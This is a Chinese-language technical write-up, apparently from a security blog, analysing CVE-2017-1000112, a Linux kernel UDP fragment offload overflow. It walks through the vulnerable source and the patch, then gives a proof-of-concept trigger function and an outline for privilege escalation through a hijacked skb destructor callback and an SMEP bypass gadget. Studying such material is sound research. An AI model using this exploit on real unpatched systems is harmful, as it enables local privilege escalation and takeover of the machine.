影响版本:<=Linux 4.12.6 v4.12.7已修补。 7.0分。由syzkaller发现。
测试版本:Linux-4.12.6 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项: CONFIG_SLAB=y
General setup
—> Choose SLAB allocator (SLUB (Unqueued Allocator))
—> SLAB
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.12.6.tar.xz
$ tar -xvf linux-4.12.6.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:漏洞函数是__ip_append_data(),漏洞形成的原因在于内核是通过 SO_NO_CHECK
的标志来判断用UFO机制还是non-UFO机制。在两次调用send()
时,我们可以通过设定该标志从UFO执行路径转化成non-UFO执行路径(UFO机制是指网卡辅助进行报文分片,用户层协议不用分片,non-UFO路径指的是在用户层进行报文分片),而UFO是支持超过MTU的数据包的,这样在non-UFO路径上就会导致写越界。 具体的过程为UFO填充的skb大于MTU,导致在non-UFO路径上copy = maxfraglen-skb->len
变为负数,触发重新分配skb的操作,导致fraggap=skb_prev->len-maxfraglen
会很大,超过MTU,之后在调用skb_copy_and_csum_bits()
进行复制操作时造成溢出。
- 第1次send UDP报文(长度大于MTU),走UFO路径,会调用ip_ufo_append_data()将用户态数据拷贝到skb的非线性区(
skb_shared_info->frags[]
); - 修改
sk->sk_no_check_tx
为1; - 第2次send UDP报文,走non-UFO路径,会在 __ip_append_data() 中
(9-6)
处调用skb_copy_and_csum_bits()
,将旧的skb_prev
中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即skb_shared_info->frags[]
中的page_frag
),从而造成溢出。
补丁:patch 漏洞引入—[IPv4/IPv6]: UFO Scatter-gather approach 补丁原理——漏洞是由于 SO_NO_CHECK
可以控制UFO路径切换造成问题,现在只要有了Generic Segmentation Offload
(一种UFO分片优化,发生在数据送到网卡之前),就会调用UFO,避免产生路径切换。
// 打补丁前,由 sk_no_check_tx 决定是否进入UFO路径; 打补丁后,即使设置了 sk_no_check_tx, 只要开启了GSO(可理解为数据推送网卡前进行分片,相当于对UFO的优化),一样会进入UFO路径,这样就无法触发漏洞。
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 50c74cd890bc7..e153c40c24361 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -965,11 +965,12 @@ static int __ip_append_data(struct sock *sk,
csummode = CHECKSUM_PARTIAL;
cork->length += length;
- if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
- (skb && skb_is_gso(skb))) &&
+ if ((skb && skb_is_gso(skb)) ||
+ (((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
+ (skb_queue_len(queue) <= 1) &&
(sk->sk_protocol == IPPROTO_UDP) &&
(rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
- (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
+ (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx)) {
err = ip_ufo_append_data(sk, queue, getfrag, from, length,
hh_len, fragheaderlen, transhdrlen,
maxfraglen, flags);
// 原来只由 no_check 决定,现在必须设置no_check同时关闭GSO,这样才能进入non-UFO
@@ -1288,6 +1289,7 @@ ssize_t ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
return -EINVAL;
if ((size + skb->len > mtu) &&
+ (skb_queue_len(&sk->sk_write_queue) == 1) &&
(sk->sk_protocol == IPPROTO_UDP) &&
(rt->dst.dev->features & NETIF_F_UFO)) {
if (skb->ip_summed != CHECKSUM_PARTIAL)
diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index e6276fa3750b9..a7c804f73990a 100644
--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -802,7 +802,7 @@ static int udp_send_skb(struct sk_buff *skb, struct flowi4 *fl4)
if (is_udplite) /* UDP-Lite */
csum = udplite_csum(skb);
- else if (sk->sk_no_check_tx) { /* UDP csum disabled */
+ else if (sk->sk_no_check_tx && !skb_is_gso(skb)) { /* UDP csum off */
skb->ip_summed = CHECKSUM_NONE;
goto send;
保护机制:开启SMEP,关闭SMAP/KASLR。
利用总结:
- 1.第1次send,走UFO路径,使得报文长度大于MTU;
- 2.修改
sk->sk_no_check_tx
为1,使得下次send时走non-UFO路径; - 3.第2次send,走non-UFO路径,触发溢出;
- 4.覆盖
skb_shared_info->destructor_arg->callback
劫持控制流,之后就是绕过SMEP、提权、恢复用户态寄存器。
一、背景知识
1.1 TCP/IP
网络分层:应用层message -> 传输层segment(UDP)-> 网络层datagram(IP) -> 链路层frame
封装层级:{ 数据帧frame { IP包 { UDP包 {message/data}}}}
1.2 UFO机制——UDP fragment offload
报文分片:发送ipv4数据包时,一个链路层帧所能承载的最大数据量称为 最大传输单元(MTU)。当要求发送的IP数据包比数据链路层的MTU大时,必须把该数据包分割成多个IP数据包才能发送(即ipv4的分片,可能发生在ip层或者传输层)。
UFO机制:通过网卡辅助进行ipv4报文分片(这样分片就在网卡硬件中完成,用户态可以发送长度大于MTU的包,而且不必在协议栈中进行分片。只要开启UFO,就可以支持发送超过MTU大小的数据包)。将分片的过程从协议栈中移到网卡硬件中,从而提升效率,减少堆栈开销。UFO的commit——[IPv4/IPv6]: UFO Scatter-gather approach
1.3 UDP corking机制
cork机制:cork意思是软木塞,使数据先 不发出去,等拔去塞子后再发出去。防止不停的去封装发送碎片化的小数据包,使得利用率降低。开启corking后,内核会尽力将小数据包拼接成一个大的数据包(一个MTU)再发送出去,当然如果等待时间过长(200ms),内核没有组成一个MTU也必须发送现有的数据。
优缺点:优点是缓解了碎片化,提高了利用效率;缺点是损失了实时性。
具体代码:udp_sendmsg()
int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len)
{
struct inet_sock *inet = inet_sk(sk);
struct udp_sock *up = udp_sk(sk);
... ...
if (up->pending) { // 通过 up->pending 检查是否被塞住(corking)
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock(sk);
if (likely(up->pending)) {
if (unlikely(up->pending != AF_INET)) {
release_sock(sk);
return -EINVAL;
}
goto do_append_data; // 如果被塞住,则进行数据追加——do_append_data
}
release_sock(sk);
}
ulen += sizeof(struct udphdr);
... ...
do_append_data: // do_append_data —— 做数据追加
up->len += ulen;
err = ip_append_data(sk, fl4, getfrag, msg, ulen, // <---- ip_append_data() 数据追加
sizeof(struct udphdr), &ipc, &rt,
corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
if (err)
udp_flush_pending_frames(sk); // 如果追加数据失败,则调用 udp_flush_pending_frame() -> __ip_flush_pending_frames() 丢弃数据
else if (!corkreq)
err = udp_push_pending_frames(sk);
else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
up->pending = 0;
release_sock(sk);
... ...
}
EXPORT_SYMBOL(udp_sendmsg);
1.4 ip_append_data() 分片源码分析
参考:Linux网络协议栈–ip_append_data函数分析
说明:ip_append_data() -> __ip_append_data(),实际由__ip_append_data() 完成分片工作。
作用:将上层下来的数据进行整型,如果是大数据包则进行切割,变成多个小于或等于MTU的SKB;如果是小数据包,并且开启了聚合,就会将若干个数据包整合。
流程图:从sock发送队列中取skb,如果发送队列为空,则新分配一个skb;如果不为空,则直接使用该skb;然后,判断per task的page_frag
中是否有空间可用,有的话,就直接从用户态拷贝数据到该page_frag
中,如果没有空间,则分配新的page,放入page_frag
中,然后再从用户态拷贝数据到其中,最后将该page_frag
中的page链入skb的非线性区中(即skb_shared_info->frags[]
)
漏洞调用链:udp_sendmsg() -> ip_append_data() -> __ip_append_data() -> ip_ufo_append_data()
1.4.1 ip_append_data() —— 准备工作
// getfrag(): 将数据赋值到skb中,一个skb就是一个sk_buff结构体指针, struct sk_buff 表示一个socket缓冲区。
// 参数 int transhdrlen: 表示传输层header的长度,也标志是否为第1个fragment,非0则为第1个fragment。
// 参数 unsigned int flags: 标志。本函数用到了两个标志,一是 MSG_PROBE(表示只进行MTU路径探测,并不真正进行数据发送),二是 MSG_MORE(表示后续还有数据被发送)。
int ip_append_data(struct sock *sk, struct flowi4 *fl4,
int getfrag(void *from, char *to, int offset, int len,
int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
struct ipcm_cookie *ipc, struct rtable **rtp,
unsigned int flags)
{
struct inet_sock *inet = inet_sk(sk);
int err;
if (flags&MSG_PROBE) // (1) 首先判定是否开启MSG_PROBE, 若开启则直接返回0
return 0;
if (skb_queue_empty(&sk->sk_write_queue)) { // (2) 再判断 sk_buff 队列是否为空,如果为空则通过 ip_setup_cork() 初始化 cork 变量
err = ip_setup_cork(sk, &inet->cork.base, ipc, rtp);
if (err)
return err;
} else { // (3) 如果 sk_buff 不为空,则使用上次的路由,IP选项,以及分片长度。设置 transhdrlen = 0 说明不是第一个fragment。
transhdrlen = 0;
}
return __ip_append_data(sk, fl4, &sk->sk_write_queue, &inet->cork.base, // <--------
sk_page_frag(sk), getfrag,
from, length, transhdrlen, flags);
}
1.4.2 __ip_append_data() —— 分片处理流程
static int __ip_append_data(struct sock *sk,
struct flowi4 *fl4,
struct sk_buff_head *queue,
struct inet_cork *cork,
struct page_frag *pfrag,
int getfrag(void *from, char *to, int offset,
int len, int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
unsigned int flags)
{
struct inet_sock *inet = inet_sk(sk);
struct sk_buff *skb; // (1) 分配一个新的sk_buff, 准备将它放入 sk_write_queue 队列, 稍后函数为数据加入IP头信息即可往下传输
struct ip_options *opt = cork->opt;
int hh_len;
int exthdrlen;
int mtu;
int copy;
int err;
int offset = 0;
unsigned int maxfraglen, fragheaderlen, maxnonfragsize;
int csummode = CHECKSUM_NONE;
struct rtable *rt = (struct rtable *)cork->dst;
u32 tskey = 0;
skb = skb_peek_tail(queue); // (2) 获取skb队列的尾结点
exthdrlen = !skb ? rt->dst.header_len : 0;
mtu = cork->fragsize;
if (cork->tx_flags & SKBTX_ANY_SW_TSTAMP &&
sk->sk_tsflags & SOF_TIMESTAMPING_OPT_ID)
tskey = sk->sk_tskey++;
hh_len = LL_RESERVED_SPACE(rt->dst.dev); // (3) 获取链路层header及IP首部长度 hh_len=16
fragheaderlen = sizeof(struct iphdr) + (opt ? opt->optlen : 0); // IP 头部长度
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen; // 最大IP头部长度, 考虑对齐 mtu=1500, fragheaderlen=20
//IP数据报的数据需要4字节对齐,为加速计算直接将IP数据报的数据根据当前MTU8字节对齐,然后重新得到用于分片的长度
maxnonfragsize = ip_sk_ignore_df(sk) ? 0xFFFF : mtu; // 是否超过最大长度 64k
if (cork->length + length > maxnonfragsize - fragheaderlen) {
ip_local_error(sk, EMSGSIZE, fl4->daddr, inet->inet_dport,
mtu - (opt ? opt->optlen : 0));
return -EMSGSIZE;
}// 如果输出的数据长度超过一个IP数据报能容纳的长度,则向输出该数据报的套接口发送EMSGSIZE
/*
* transhdrlen > 0 means that this is the first fragment and we wish
* it won't be fragmented in the future.
*/
if (transhdrlen && // transhdrlen!=0说明ip_append_data工作在第一个片段。如果IP数据报没有分片,且输出网络设备支持硬件执行校验和,则设置CHECKSUM_PARTIAL,表示由硬件来执行校验和 transhdrlen = 8, length = 3492
length + fragheaderlen <= mtu &&
rt->dst.dev->features & (NETIF_F_HW_CSUM | NETIF_F_IP_CSUM) &&
!(flags & MSG_MORE) &&
!exthdrlen)
csummode = CHECKSUM_PARTIAL; // (4) 校验和计算?
cork->length += length; // 软木塞长度更新
if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
(skb && skb_is_gso(skb))) && // (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是网卡支持UDP分片(UFO支持)。
(sk->sk_protocol == IPPROTO_UDP) &&
(rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
(sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) { // 由 sk_no_check_tx 来控制是否进入UFO路径(用户层可发送大于MTU长度的报文,由网卡驱动进行分片)
err = ip_ufo_append_data(sk, queue, getfrag, from, length,
hh_len, fragheaderlen, transhdrlen,
maxfraglen, flags); // (6) UFO路径: 满足(5)则调用支持UFO机制的 ip_ufo_append_data(),将用户态数据拷贝到skb中的非线性区中(即skb_shared_info->frags[],原本用于SG)
if (err)
goto error;
return 0;
}
/* So, what's going on in the loop below?
*
* We use calculated fragment length to generate chained skb,
* each of segments is IP fragment ready for sending to network after
* adding appropriate IP header.
*/
if (!skb) // (7) non-UFO路径: 如果skb为空,即sk_buff队列此时为空,那么跳转到 alloc_new_skb 说明输出队列为空,则需分配一个新的SKB用于复制数据。
goto alloc_new_skb;
copy变量:表示最后一个skb的剩余空间。见 (8)
处,skb->len
表示此SKB管理的 Data Buffer中数据的总长度。copy分为3种情况,接下来的代码将分别处理这3种情况:
- copy < 0:即
mtu < skb->len
溢出了。有些数据需要从当前的IP分片中移动到新的片段中,需要分配新的skb来存储溢出的数据。 - copy > 0:最后一个skb还有空间。
- copy = 0:最后一个skb被填满。
while (length > 0) { // 循环处理待输出数据
/* Check if the remaining data fits into current packet. */
copy = mtu - skb->len; // (8) 计算copy——上一个skb的剩余空间,也就是本次复制数据的长度mtu=1500,skb->len=3512
if (copy < length) // length为数据的长度,使空间小于数据大小,设置第2次发送的数据 length=1
copy = maxfraglen - skb->len; // maxfraglen=1500, copy=-2012
if (copy <= 0) { // (9) 如果copy<0, 表示上一个SKB已经填满或空间不足8B,需要分配新的SKB
char *data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
struct sk_buff *skb_prev;
alloc_new_skb:
skb_prev = skb; // 如果上一个SKB中存在多余8字节对齐的MTU数据,要计算移动到当前SKB的数据长度
if (skb_prev) // (9-1) 如果存在skb,需计算从上一个skb中取多长的数据到下一个新的skb
fraggap = skb_prev->len - maxfraglen; // 这里其实就是负的copy, fraggap=3512-1500=2012
else
fraggap = 0;
/*
* If remaining data exceeds the mtu,
* we know we need more fragment(s).
*/
datalen = length + fraggap; // 第2次发送时,datalen=1+2012=2013
if (datalen > mtu - fragheaderlen) // 如果剩余的数据一个分片不够容纳,则根据MTU重新计算本次可发送的数据长度
datalen = maxfraglen - fragheaderlen; // datalen=1500-20=1480
fraglen = datalen + fragheaderlen; // 根据本次复制的数据长度以及IP首部长度,计算三层首部及数据的总长度
if ((flags & MSG_MORE) && // (9-2) 计算需要分配的新的skb的大小 alloclen
!(rt->dst.dev->features&NETIF_F_SG))
alloclen = mtu; // 按最大分配大小,如果后续还有数据输出且网络设备不支持聚合分散I/O,则将MTU作为分配SKB的长度
else
alloclen = fraglen; // 按数据长度分配大小, 否则按数据的长度(包括IP首部)分配SKB的空间即可
alloclen += exthdrlen; // alloclen=1500+0=1500
/* The last fragment gets additional space at tail.
* Note, with MSG_MORE we overallocate on fragments,
* because we have no idea what fragment will be
* the last.
*/
if (datalen == length + fraggap)
alloclen += rt->dst.trailer_len;
if (transhdrlen) { // (9-3) 如果是第1个分片,则调用 sock_alloc_send_skb() 分配新的skb
skb = sock_alloc_send_skb(sk,
alloclen + hh_len + 15,
(flags & MSG_DONTWAIT), &err);
} else { // (9-4) 如果不是第1个分片
skb = NULL;
if (atomic_read(&sk->sk_wmem_alloc) <=
2 * sk->sk_sndbuf)
skb = sock_wmalloc(sk,
alloclen + hh_len + 15, 1,
sk->sk_allocation);
if (unlikely(!skb))
err = -ENOBUFS;
}
if (!skb) // 分配失败,则跳转到error
goto error;
/*
* Fill in the control structures
*/
skb->ip_summed = csummode; // (9-5) 分配成功,首先初始化 skb 中用于校验的控制数据
skb->csum = 0;
skb_reserve(skb, hh_len); // 为数据报预留用于存放二层首部、三层首部和数据的空间,并设置SKB中指向三层和四层的指针
/* only the initial fragment is time stamped */
skb_shinfo(skb)->tx_flags = cork->tx_flags; // 初始化时间戳
cork->tx_flags = 0;
skb_shinfo(skb)->tskey = tskey;
tskey = 0;
/*
* Find where to start putting bytes.
*/
data = skb_put(skb, fraglen + exthdrlen); // 预留L2、L3首部空间
skb_set_network_header(skb, exthdrlen); // 设置L3层的指针
skb->transport_header = (skb->network_header +
fragheaderlen);
data += fragheaderlen + exthdrlen; // data=20+0=20
if (fraggap) { // 如果上一个SKB的数据超过8字节对齐MTU,则将超出数据和传输层首部复制到当前SKB,重新计算校验和 fraggap=2012
skb->csum = skb_copy_and_csum_bits( // (9-6) skb_copy_and_csum_bits() 函数将数据从第一个创建的sk_buff复制到新分配的sk_buff(以8字节对齐) <----------- !!!!!!!!!! 溢出点
skb_prev, maxfraglen,
data + transhdrlen, fraggap, 0);
skb_prev->csum = csum_sub(skb_prev->csum,
skb->csum);
data += fraggap;
pskb_trim_unique(skb_prev, maxfraglen);
}
copy = datalen - transhdrlen - fraggap; // 传输层首部和上个SKB多出的数据已复制,接着复制剩下的数据 //copy = 1480-0-2012=-532
if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
err = -EFAULT;
kfree_skb(skb);
goto error;
}
offset += copy; // 完成本次复制数据,计算下次需复制数据的地址及剩余数据的长度。传输层首部已经复制
length -= datalen - fraggap; // 因此需要将传输层首部的transhdrlen置为0,同时IPsec首部长度exthdrlen也置为0 //length=2013-1480=533
transhdrlen = 0;
exthdrlen = 0;
csummode = CHECKSUM_NONE;
if ((flags & MSG_CONFIRM) && !skb_prev)
skb_set_dst_pending_confirm(skb, 1);
/*
* Put the packet on the pending queue.
*/
__skb_queue_tail(queue, skb); // 把新skb插入skb队列队尾, 接着复制剩下的数据
continue;
}
if (copy > length)
copy = length; //如果上个SKB剩余的空间大于剩余待发送的数据长度,则剩下的数据可以一次完成
if (!(rt->dst.dev->features&NETIF_F_SG)) {
unsigned int off;//如果输出网络设备不支持聚合分散I/O,则将数据复制到线性区域的剩余空间
二、漏洞原理
2.1 POC 分析
说明:
-
SOCK_DGRAM
表示UDP -
AF_INET
代表TCP/IP协议族,在socket编程中只能是AF_INET
-
s_addr
代表ip地址,INADDR_LOOPBACK
代表绑定地址LOOPBAC
,往往是127.0.0.1
,只能收到127.0.0.1
上面的连接请求。htons将其转换成网络数据格式的数字。
poc分析:主要是两次send。第一次send,带上标记 MSG_MORE
告诉系统我们接下来还有数据要发送,此时走UFO路径。
// poc
#define SHINFO_OFFSET 3164
void poc(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0); // 1. 创建UDP socket。SOCK_DGRAM表示UDP
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr)))
exit(EXIT_FAILURE);
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE); // 2.发送包,并用标志MSG_MORE告诉内核我们还会发送更多包
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); // 3.关闭UDP checksum
send(s, buffer, 1, 0); // 4.第2次发送non-UFO触发漏洞。其size为1
close(s);
}
见 __ip_append_data() 源码分析中的(5)
,如果要发送的是UDP数据包、系统支持UFO、且需要分片(length > mtu),则send()
最终会进入 ip_ufo_append_data()。
if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
(skb && skb_is_gso(skb))) && // (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是开启了UFO支持。
(sk->sk_protocol == IPPROTO_UDP) &&
(rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
(sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
err = ip_ufo_append_data(sk, queue, getfrag, from, length,
hh_len, fragheaderlen, transhdrlen,
maxfraglen, flags); // (6) 满足(5)则调用支持UFO机制的 ip_ufo_append_data()
2.2 ip_ufo_append_data() 分析
static inline int ip_ufo_append_data(struct sock *sk,
struct sk_buff_head *queue,
int getfrag(void *from, char *to, int offset, int len,
int odd, struct sk_buff *skb),
void *from, int length, int hh_len, int fragheaderlen,
int transhdrlen, int maxfraglen, unsigned int flags)
{
struct sk_buff *skb;
int err;
/* There is support for UDP fragmentation offload by network
* device, so create one single skb packet containing complete
* udp datagram
*/
skb = skb_peek_tail(queue); // (1) 取skb队列的队尾。
if (!skb) {
skb = sock_alloc_send_skb(sk, // (2) 分配新的skb,然后把数据放到新的skb的非线性区域中(skb_share_info)。如下图所示
hh_len + fragheaderlen + transhdrlen + 20,
(flags & MSG_DONTWAIT), &err);
if (!skb)
return err;
/* reserve space for Hardware header */
skb_reserve(skb, hh_len);
/* create space for UDP/IP header */
skb_put(skb, fragheaderlen + transhdrlen);
/* initialize network header pointer */
skb_reset_network_header(skb);
/* initialize protocol header pointer */
skb->transport_header = skb->network_header + fragheaderlen;
skb->csum = 0;
if (flags & MSG_CONFIRM)
skb_set_dst_pending_confirm(skb, 1);
__skb_queue_tail(queue, skb);
} else if (skb_is_gso(skb)) {
goto append;
}
skb->ip_summed = CHECKSUM_PARTIAL;
/* specify the length of each IP datagram fragment */
skb_shinfo(skb)->gso_size = maxfraglen - fragheaderlen;
skb_shinfo(skb)->gso_type = SKB_GSO_UDP; // 通过skb_shinfo(SKB)宏可以看出 skb_shared_info 与skb之间的关系: skb_shared_info=skb_shinfo(skb)
#define skb_shinfo(SKB) ((struct skb_shared_info *)(skb_end_pointer(SKB)))
append:
return skb_append_datato_frags(sk, skb, getfrag, from, // (3) 最后新的skb入队
(length - transhdrlen));
}
skb_shared_info 结构:
struct skb_shared_info {
unsigned short _unused;
unsigned char nr_frags;
__u8 tx_flags;
unsigned short gso_size;
/* Warning: this field is not always filled in (UFO)! */
unsigned short gso_segs;
struct sk_buff *frag_list;
struct skb_shared_hwtstamps hwtstamps;
unsigned int gso_type;
u32 tskey;
__be32 ip6_frag_id;
/*
* Warning : all fields before dataref are cleared in __alloc_skb()
*/
atomic_t dataref;
/* Intermediate layers must ensure that destructor_arg
* remains valid until skb destructor */
void * destructor_arg;
/* must be last field, see pskb_expand_head() */
skb_frag_t frags[MAX_SKB_FRAGS];
};
2.3 漏洞分析
第1次send:执行UFO路径(调用ip_ufo_append_data()),skb中数据的大小是大于mtu的。skb是新分配出来的。
第2次send:
- 第二次send之前,先调用
setsockopt()
来设置SO_NO_CHECK
标志,即不校验 checksum。 (内核是通过SO_NO_CHECK
标志来判断用UFO机制还是non-UFO机制,这一点在源码中并不明显。可参见下面漏洞补丁处的patch)。 - 这样第2次send时,会执行non-UFO路径。此时
copy = mtu - skb_len
小于0,此时的skb是直接从队尾取出来,也就是第1次send时新分配出来的skb(其 len>mtu)。 - 由于
copy<0
,在 non-UFO 路径上触发了重新分配skb的操作。见 __ip_append_data() 中(9)
处的代码。 - 重新分配结束后,会在 __ip_append_data() 中
(9-6)
处调用skb_copy_and_csum_bits()
,将旧的skb_prev
中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即skb_shared_info->frags[]
中的page_frag
),从而造成溢出。
三、漏洞利用
劫持函数指针:skb_shared_info -> destructor_arg
,在skb释放时,kfree_skb()
中底层对于其产生一个析构函数的调用—— kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() -> 这里 所以可通过覆盖skb_shared_info->destructor_arg->callback
即可劫持控制流。
static void skb_release_data(struct sk_buff *skb)
{
...
struct ubuf_info *uarg;
uarg = shinfo->destructor_arg; // 将一个 void 赋给一个 ubuf_info 类型
if (uarg->callback)
uarg->callback(uarg, true);
...
}
// ubuf_info 作用
/* 1.当完成了skb DMA时,通过他调用回调函数做析构,释放缓冲区。并且此时skb引用计数为0。
2.ctx负责跟踪设备上下文。desc负责跟踪用户空间的缓冲区索引。
3.zerocopy_success代表是否发生 零拷贝(将数据直接从磁盘文件复制到网卡设备中,而不需要经由应用程序,提高应用程序的性能,减少内核与用户模式之间的上下文切换,参见 https://zhuanlan.zhihu.com/p/85571977)。
*/
struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success);
void *ctx;
unsigned long desc;
};
问题:gadget 0xffffffff8100008d: xchg eax, esp; ret;
不能用,只要执行就会终止,也没有报错信息。
解决:换一些地址更大的gadget。xchg eax, esp; ret
指令的二进制表示为 94 C3
,在IDA中搜索(search
-> sequence of bytes
)。
.text:FFFFFFFF8104AD63 setz r11b
版本适配:注意不同版本的内核,需修改gadget偏移、skb_shared_info
结构、SHINFO_OFFSET
(skb_shared_info
结构在buffer中的偏移)。
测试成功截图:
参考
Linux内核[CVE-2017-1000112] (UDP Fragment Offload) 分析
Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112